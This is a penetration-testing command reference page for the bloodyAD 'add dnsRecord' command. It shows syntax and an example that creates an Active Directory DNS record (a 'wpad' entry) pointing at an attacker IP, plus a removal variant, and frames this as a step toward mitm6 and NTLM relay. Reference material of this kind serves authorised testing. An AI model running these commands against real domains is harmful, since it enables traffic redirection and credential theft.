Command Manager

bloodyAD add dnsRecord

Create a new AD-integrated DNS record. Authenticated users can create records by default — chains nicely with mitm6 / NTLM relay (e.g. add a wpad record pointing at your box).

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated

Tool
bloodyAD
Category
Post-Exploitation / AD Object Manipulation
Platform
linux
Requires
password
Protocols
LDAP, DNS

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

bloodyAD --host <dc-ip> -d '<domain>' -u '<user>' -p '<password>' add dnsRecord '<name>' '<attacker-ip>'

Credential variants

The same attack using a different authentication material.

Remove Record requires password

bloodyAD --host <dc-ip> -d '<domain>' -u '<user>' -p '<password>' remove dnsRecord '<name>'

Examples

bloodyAD --host 10.10.10.10 -d corp.local -u jdoe -p 'Password123!' add dnsRecord wpad 10.10.14.5

Tags

bloodyad dns mitm6 ntlm-relay